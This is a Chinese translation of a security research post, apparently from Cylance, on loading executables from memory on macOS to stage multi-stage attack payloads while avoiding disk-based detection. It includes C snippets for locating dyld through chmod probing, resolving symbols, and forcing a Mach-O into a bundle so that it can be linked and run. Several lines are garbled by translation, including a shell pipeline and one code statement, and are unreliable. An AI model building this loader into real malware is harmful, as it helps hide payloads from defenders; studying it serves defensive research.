在macOS內存中運行可執行文件
作為一名安全研究員，我一直在研究惡意軟件攻擊設備時使用到的新興技術。雖然Windows是最常見的目標，但是對于macOS(以前稱為OS X)，并不缺乏新興的技術。在這篇文章中，我將討論一些在macOS(直到Sierra)上執行多級攻擊載荷的技術。
用于執行多級攻擊載荷的常見技術是擁有一個可以從內存中載入可執行文件而不是從計算硬盤上載入的初始攻擊載荷，它可以降低被檢測的風險。一般來說，當嘗試從macOS的內存中加載代碼時，第一步是找到動態加載器dyld，以便于加載第二級攻擊載荷。一旦你在內存中找到dyld，你可以解析它的Mach-O頭來定位函數NSCreateObjectFileImageFromMemory(創建一個NSObjectFileImage)和NSLinkModule(鏈接庫到當前進程和運行構造函數)來加載可執行文件。
深入了解dyld
你在MacOS執行一個動態鏈接的二進制文件時，內核會做的第一件事就是從二進制Mach-O的加載命令中檢索動態加載器的位置，并加載它。因此，dyld是第一個被加載到進程的地址空間的Mach-O。內核通過二進制文件的vmaddr和ASLR slide來確定dyld的候選地址。然后內核將Mach-O的sections映射到第一個可用未分配的內存地址中，內存地址要大于或等于到候選地址。
如下所示，在Sierra之前的macOS版本中，dyld的vmaddr是0x7fff5fc00000(DYLD_BASE)：
MacOS的10.10.5(Yosemite)
- $ otool -l /usr/lib/dyldx
- /usr/lib/dyld:
- Load command 0
- cmd LC_SEGMENT_64
- cmdsize 552
- segname __TEXT
- vmaddr 0x00007fff5fc00000
- ...
在內存中定位dyld是很容易的; 從DYLD_BASE開始搜索,找到的第一個Mach-O映像就是dyld。然后可以通過內存中的dyld地址減去DYLD_BASE來計算用于dyld的ASLR slide。確定ASLR slide對于解析符號很重要，因為符號表的nlist_64結構中的n_value包含需要被偏移的基地址。
在Sierra中,dyld變成了動態映射(vmaddr為0)：
macOS 10.12.2 (Sierra)
- $ otool -l /usr/lib/dyld
- /usr/lib/dyld:
- Mach header
- magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
- 0xfeedfacf 16777223 3 0x00 7 14 1696 0x00000085
- Load command 0
- cmd LC_SEGMENT_64
- cmdsize 552
- segname __TEXT
- vmaddr 0x0000000000000000
- ...
這意味著,現在,在內存中已加載的可執行映像相鄰處可以找到dyld，而不是DYLD_BASE中的第一個Mach-O映像。因為沒有固定的基地址，我們現在不能再輕松計算ASLR slide。幸運的是，我們不再關心這個值，因為符號表的nlist_64結構的n_value現在包含了從dyld開始的偏移; 一旦你在內存中找到dyld的地址，你可以解析它的符號。我們將在下面的解析符號部分詳細討論這一點。
dyld在內存中的位置
那么我們如何在內存中搜索dyld呢?在地址空間中搜索特定映像的正確方法是遞歸地使用vm_region。然而，通過這種方法產生的shellcode是冗長和繁瑣的。幸運的是，有一個選擇; 如果我們發現一個系統調用，它接受一個指針并根據地址是否被映射返回不同的返回值，我們可以使用它。chmod系統調用就是這樣。
如果路徑指針在進程分配的地址空間的之外,chmod返回EFAULT; 如果路徑不存在，則返回ENOENT。因此，我們可以使用以下函數來找到dyld：
- int find_macho(unsigned long addr, unsigned long *base) {
- *base = 0;
- while(1) {
- chmod((char *)addr, 0777);
- if(errno == 2 && /*ENOENT*/
- ((int *)addr)[0] == 0xfeedfacf /*MH_MAGIC_64*/) {
- *base = addr;
- return 0;
- }
- addr += 0x1000;
- }
- return 1;
- }
在Sierra之前的macOS版本中，可以這樣做：
- unsigned long dyld;
- if(find_macho(DYLD_START, &dyld)) return
在Sierra，我們必須調用find_macho兩次：一次找到已加載的二進制，一次找到dyld：
- unsigned long binary, dyld;
- if(find_macho(EXECUTABLE_BASE_ADDR, &binary)) return 1;
- if(find_macho(binary + 0x1000, &dyld)) return 1;
解析符號
找到dyld的字符串表可以通過解析其加載命令，并使用以下代碼(基址是內存中的dyld地址)查找符號表以及內存中的linkedit和text segments 來完成：
- lc = (struct load_command *)(base + sizeof(struct mach_header_64));
- for(int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
- if(lc->cmd == 0x2/*LC_SYMTAB*/) {
- symtab = (struct symtab_command *)lc;
- } else if(lc->cmd == 0x19/*LC_SEGMENT_64*/) {
- switch(*((unsigned int *)&sc->segname[2])) { //skip __
- case 0x4b4e494c: //LINK
- linkedit = (struct segment_command_64 *)lc;
- break;
- case 0x54584554: //TEXT
- text = (struct segment_command_64 *)lc;
- break;
- }
- }
- lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
- }
上面的代碼略過內存中的mach_header_64結構，然后遍歷各種加載命令結構。我們保存LC_SYMTAB的地址和與__LINKEDIT和__TEXT段相關的兩個LC_SEGMENT_64命令。使用指向這些結構體的指針，我們現在可以計算內存中的字符串表的地址：
- unsigned long file_slide = linkedit-> vmaddr - text-> vmaddr - linkedit-> fileoff;
- strtab =（char *）（base + file_slide + symtab-> stroff）;
要遍歷字符串表，我們需要遍歷符號表的nlist_64結構。每個nlist_64結構體包含一個到字符串表(n_un.n_strx)的偏移量：
- char * name = strtab + nl [i] .n_un.n_strx;
并不是使用傳統的哈希算法來匹配字符串表中的符號名，我寫了一個幫助腳本(symbolyzer.py)生成唯一offset/ int對，通過以下方式識別：
- $ nm / usr / lib / dyld | cut -d“”-f3 | 排序| uniq | 蟒蛇symbolyzer.py
- $ nm /usr/lib/dyld | cut -d" " -f3 | sort | uniq | python symbolyzer.py
- ...
- _NSCreateObjectFileImageFromFile[25] = 0x466d6f72
- ...
symbolyzer.py的代碼(https://github.com/CylanceVulnResearch/osx_runbin/blob/master/symbolyzer.py)可以在GitHub上找到這里。
正如你可以看到，NSCreateFileImageFromMemory的offset / int對是25&0x466d6f72。這意味著如果我們字符串表中的給定字符串索引為25，并且它等于0x466d6f72，則我們發現了一個匹配。在我們的匹配對中包含一個邏輯終止符NULL就可以匹配所有符號字符串。
加載可執行文件
在MacOS的內存中加載代碼的最常見的方法就是在macOS bundle上調用NSCreateObjectFileImageFromMemory,隨后調用NSLinkModule,然后調用NSAddressOfSymbol來查找已知函數。 “The Mac Hacker's Handbook”中為NSLinkModule指出：“目前的實現僅限用于插件的Mach-O MH_BUNDLE類型。” dyld的頭文件進一步說明“NSObjectFileImage只能用于MH_BUNDLE文件”。經過快速證實,這是真的; 如果文件類型的mach_header_64結構不是MH_BUNDLE(0x8)，NSCreateObjectFileImageFromMemory會失敗。幸運的是，使用以下兩行代碼可以很容易改變結構的文件類型：
- int type = ((int *)binbuf)[3];
- if(type != 0x8) ((int *)binbuf)[3] = 0x8; //change to mh_bundle type
然后我們可以在Mach-O映象內解析NSLinkModule返回的NSModule對象來找到入口點; 在Sierra中，Mach-O映象從偏移0x48變為0x50。通過迭代該映像的加載命令，我們可以找到LC_MAIN命令并獲取入口點的偏移量。只需將此偏移量添加到Mach-O基址中即可得到入口點：
- unsigned long execute_base = *(unsigned long *)((unsigned long)nm + 0x50);
- struct entry_point_command *epc;
- if(find_epc(execute_base, &epc)) { //loops over commands and finds LC_MAIN
- fprintf(stderr, "Could not find entry point command.\n");
- goto err;
- }
- int(*main)(int, char**, char**, char**) = (int(*)(int, char**, char**, char**))(execute_base+ epc->entryoff);
- char *argv[]={"test", NULL};
- int argc = 1;
- char *env[] = {NULL};
- char *apple[] = {NULL};
- return main(argc, argv, env, apple);
這篇文章的所有的POC代碼(https://github.com/CylanceVulnResearch/osx_runbin)都可以在GitHub上找到。
1. http://phrack.org/issues/64/11.html
3. https://lowlevelbits.org/parsing-mach-o-files/
4. https://www.mikeash.com/pyblog/friday-qa-2012-11-09-dyld-dynamic-linking-on-os-x.html
5. https://opensource.apple.com/source/xnu/xnu-2782.1.97/bsd/kern/kern_exec.c
6. https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man2/chmod.2.html
7. https://www.amazon.com/Mac-Hackers-Handbook-Charlie-Miller/dp/0470395362
8. https://opensource.apple.com/source/cctools/cctools-384.1/man/NSModule.3.auto.html
